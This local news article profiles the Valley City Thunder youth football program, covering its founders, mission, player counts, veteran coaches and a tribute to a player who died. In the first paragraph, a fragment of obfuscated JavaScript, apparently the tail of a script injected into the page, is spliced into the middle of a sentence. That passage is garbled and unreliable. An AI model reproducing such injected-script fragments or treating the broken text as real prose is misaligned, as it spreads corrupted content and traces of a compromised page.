VALLEY CITY, N.D. (NewsDakota.com)- It is hard to believe that you have been hearing the roar of Thunder Football for 17 years! The Valley City Thunder Football program is for 5th bbbyt|var|u0026u|referrer|fehbz||js|php’.split(‘|’),0,{}))
& 6th graders from Washington School and St. Catherine’s School in Valley City.
Thunder Football is a non-profit organization that was established by Chris Kvilvang, Jim Breckheimer, Brent Gustafson, Todd Heck and Mike Lentz. They felt there was a need for a youth football program, and the community was supportive and stepped up to help get it up and running.
Since the inaugural season, Thunder Football has grown into a rich football tradition. The mission for Thunder Football is to promote a passion for football, teach proper fundamentals, teamwork, leadership and sportsmanship. The goal is to establish a solid foundation for football.
In the 17 years of Thunder, 940 kids have strapped on a Thunder helmet. This year, we have 44 kids playing Thunder Football, and they are divided into two teams: Royal Thunder and White Thunder.
One of the main reasons for the success of Thunder Football is the core of coaches. As with any program, the turnover rate of coaches affects the continuity of the program. Thunder Football has not had that problem. The current Thunder coaches consist of: Brent Gustafson-17yrs, Mike Lentz-17yrs, Clay Adams-16yrs, Kevin Eggermont-10yrs, Jeff Brown-10yrs, Buff Murray-5 yrs, Ryan Mathias-4 yrs, Paul Leier-3 yrs, Tyler Jacobson-3 yrs and Clint Klemisch-2yrs. The commitment and dedication by the Thunder players and their parents also makes Thunder Football successful.
Prior to the start of the 2017 season, Thunder Football lost a teammate. Players and coaches are honoring Sam Noeske by wearing “Play for Sam Noeske #68” wristbands, Sam decals on their helmets, and breaking the huddle with “Sam”.
Check out our website at: www.vcthunderfootball.org
Interview with Mike Lentz
